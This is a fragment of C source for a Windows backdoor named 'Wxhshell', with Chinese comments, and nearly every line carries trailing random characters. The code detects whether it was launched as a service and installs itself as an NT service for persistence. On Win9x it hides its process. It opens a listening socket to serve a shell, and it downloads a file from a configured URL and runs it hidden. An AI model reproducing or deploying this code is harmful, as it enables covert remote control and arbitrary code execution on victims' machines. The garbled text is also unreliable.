DWORD BasePriority; ou;qO
5CT
ULONG UniqueProcessId; 6z1\a
ULONG InheritedFromUniqueProcessId; [tm[,VfA^
} PROCESS_BASIC_INFORMATION; 966<I56+
vpa fru4
PROCNTQSIP NtQueryInformationProcess; WFj*nS^~l
DoG%T(M!a9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P/`m3aSzX.
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SKJW%(|3
Tc,$TCF
HANDLE hProcess; }3sN+4
PROCESS_BASIC_INFORMATION pbi; !u%9;>T7
Oc^m_U8>^
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6oA~J]<
if(NULL == hInst ) return 0; 1C'P)f28
bx7\QU+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K>LpN')d
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gr\@sx?b
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <p)Z/
lO_c/o$
if (!NtQueryInformationProcess) return 0; :Q=z=`*2w
UnjNR[=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C1D !
V:
if(!hProcess) return 0; 4
iKR{P6
@% H8"A
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5&G
5eA
0T1ko,C!,e
CloseHandle(hProcess); 2)?
x?rbgsB5&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &_YtY47
if(hProcess==NULL) return 0;
dQ`:8SK
[88{@)
HMODULE hMod; 9iK&f\#5H
char procName[255]; X
[!X>w&z|
unsigned long cbNeeded; .c: )Qli
rd|crD3
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (tpof
5a
g#Mv&tU
CloseHandle(hProcess); jPpRsw>
eB7>t@ED
if(strstr(procName,"services")) return 1; // 以服务启动 &
L3UlL
j,4,zA1j|
return 0; // 注册表启动 `>\4"`I
} }<.7 xz|V
lc"qqt
// 主模块 [='p!7z
int StartWxhshell(LPSTR lpCmdLine) aSTFcz"
{ Ny B&uf
SOCKET wsl; y]J3hKs
BOOL val=TRUE; hMz&JJ&B
int port=0; mw ?{LT
struct sockaddr_in door; D-~G|8g
-$OD }5ku#
if(wscfg.ws_autoins) Install(); 6QW<RXom
,b:n1
port=atoi(lpCmdLine); {:3.27jQ
l3BD
<PB2S
if(port<=0) port=wscfg.ws_port; 2DUr7rM
[h^f%
WSADATA data; C#ZhsWS!b
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y=3X9%v9g
ckAsGF_B~!
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; X:R%1+&*
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m,=)qex
door.sin_family = AF_INET; .B6`OX&k
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'qdg:_L"
door.sin_port = htons(port); |GuKU!
,7t3>9-M"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;FcExg|k
closesocket(wsl); U%h7h`=F?
return 1; 70duk:Ri0
} qP qy4V.;
aN:HG)$@
if(listen(wsl,2) == INVALID_SOCKET) { 9e-*JYF]C
closesocket(wsl); u>81dO]H
return 1; xJN |w\&
} 'N*!>mZ<
Wxhshell(wsl); jk
K#e$7
WSACleanup(); cJSVT8
g;(_Y1YQ
return 0; FT<H]Nf
(LRNU)vD7$
} BSOjyy1f
]c5DOv&
// 以NT服务方式启动 B'<!k7Ewy
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \y[Bu^tk
{ ^v
]UcnB0
DWORD status = 0; lfXH7jL2~
DWORD specificError = 0xfffffff; tF<^9stM
lt{lHat1
serviceStatus.dwServiceType = SERVICE_WIN32; kV_#9z7%
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Ft )t`E'%j
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qo)Q}0
serviceStatus.dwWin32ExitCode = 0; j p!
serviceStatus.dwServiceSpecificExitCode = 0; *1\z^4=a]
serviceStatus.dwCheckPoint = 0; 1V-=$Q3
V7
serviceStatus.dwWaitHint = 0; C2CYIok$&
<%M\7NDWDA
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5?Uo&e
if (hServiceStatusHandle==0) return; Tt{U"EFO
A*rZQh
b[
status = GetLastError(); -)4uYK*
if (status!=NO_ERROR) U~oBNsU"
{ 1d/NZJ9
serviceStatus.dwCurrentState = SERVICE_STOPPED; Po'-z<}wS
serviceStatus.dwCheckPoint = 0; +ylxezc
serviceStatus.dwWaitHint = 0; xOwNCh
serviceStatus.dwWin32ExitCode = status; tCuN?_UG
serviceStatus.dwServiceSpecificExitCode = specificError; 3w
t:5
Im
SetServiceStatus(hServiceStatusHandle, &serviceStatus); umZlIH[7
return; P4hZB_.=
} fL(':W&n-
5ze`IY
serviceStatus.dwCurrentState = SERVICE_RUNNING; I/mvQxp
serviceStatus.dwCheckPoint = 0; !'Pk
jP
serviceStatus.dwWaitHint = 0; VV?]U$
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y0 @'za^y
} "kcpA#uD|
#.<*; rB
// 处理NT服务事件,比如:启动、停止
o G(0i
VOID WINAPI NTServiceHandler(DWORD fdwControl) w9G_>+?E
{ f0/jwfL
switch(fdwControl) l. XknF
{ 17WNJ
case SERVICE_CONTROL_STOP: 7vii9Am7
serviceStatus.dwWin32ExitCode = 0; h9w@oRp`~
serviceStatus.dwCurrentState = SERVICE_STOPPED; <P|`7wfxE
serviceStatus.dwCheckPoint = 0; Ko1AaX(I'+
serviceStatus.dwWaitHint = 0; Oyi;bb<#
{ [B}1z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7k'=F m6za
} >Y,/dyT
Zm
return; t)\D
case SERVICE_CONTROL_PAUSE: K?5B>dv@A
serviceStatus.dwCurrentState = SERVICE_PAUSED; 2=igS#h
break; j5PaSk&o=
case SERVICE_CONTROL_CONTINUE: 4}.WhE|h
serviceStatus.dwCurrentState = SERVICE_RUNNING; u^}7Vs
.
break; IUluJ.sXIf
case SERVICE_CONTROL_INTERROGATE: \Pw8wayr%
break; "V*kOb&'*Z
}; 8|w5QvCU?3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZmEG<T05
} aSn0o_4bD
zWF
5m )-
// 标准应用程序主函数 )9;(>cdl
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R2Twm!1
{ [>b
'}4
2q`)GCES~
// 获取操作系统版本 +CsI,Uf4*
OsIsNt=GetOsVer(); >v^2^$^u
GetModuleFileName(NULL,ExeFile,MAX_PATH); Am>_4
s$f+/Hs
// 从命令行安装 >E//pr)_Km
if(strpbrk(lpCmdLine,"iI")) Install(); zkjPLeX
hknwis%y
// 下载执行文件 fl} rz
if(wscfg.ws_downexe) { E9yFREvQc
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "2)+)Db
WinExec(wscfg.ws_filenam,SW_HIDE); :'5G_4y)h
} =giM@MV
/Oq1q._9F
if(!OsIsNt) { hg[l{)Q
// 如果时win9x,隐藏进程并且设置为注册表启动 1$:{{%
HideProc(); =?meO0]y
StartWxhshell(lpCmdLine); j#*asGdp#J
} 9F2P(aS
else }u(d'9u
if(StartFromService()) PWf{aHsr
// 以服务方式启动 2x)0?N[$O
StartServiceCtrlDispatcher(DispatchTable); ,H.(\p_N
else PY^^^01P
// 普通方式启动 8C*6Fjb#
StartWxhshell(lpCmdLine); Ft3N#!ubl
i1b4 J
return 0; 3R)cbwL
}